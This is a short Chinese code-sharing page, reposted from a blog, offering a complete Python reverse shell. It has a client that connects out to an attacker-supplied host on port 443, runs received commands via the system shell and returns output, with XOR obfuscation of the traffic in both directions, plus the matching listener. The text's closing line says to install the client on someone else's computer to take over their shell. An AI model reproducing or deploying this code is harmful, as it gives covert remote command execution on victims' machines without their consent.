码迷,mamicode.com
首页 > 编程语言 > 详细

反向shell(python)

时间:2015-06-26 13:00:25      阅读:137      评论:0      收藏:0      [点我收藏+]

标签:python

反向shell(python)


client:
import socket, subprocess, sys
RHOST = sys.argv[
1]
RPORT =
443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while True:
    data = s.recv(
1024)
    en_data = bytearray(data)
   
for i in range(len(en_data)):
        en_data[i] ^=
0x41
    comm = subprocess.Popen(str(en_data), shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
    comm.wait()
    STDOUT, STDERR = comm.communicate()
   
print STDERR
    en_STDOUT= bytearray(STDOUT)
   
for i in range(len(en_STDOUT)):
        en_STDOUT[i] ^=
0x41
    s.send(en_STDOUT)
s.close()

server:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((
"0.0.0.0", 443))
s.listen(
2048)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " recived connection from : ", ip
while True:
    command = raw_input(
‘~$ ‘)
    encode = bytearray(command)
   
for i in range(len(encode)):
        encode[i] ^=
0x41
    client.send(encode)
    en_data = client.recv(
2048)
    decode = bytearray(en_data)
   
for i in range(len(decode)):
        decode[i] ^=
0x41
   
print decode
client.close()
s.close()

在别人的电脑装上client部分,自己电脑运行server部分,就可以反向别人的shell了

反向shell(python)

标签:python

原文地址:http://blog.csdn.net/rainlesvio/article/details/46647537

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!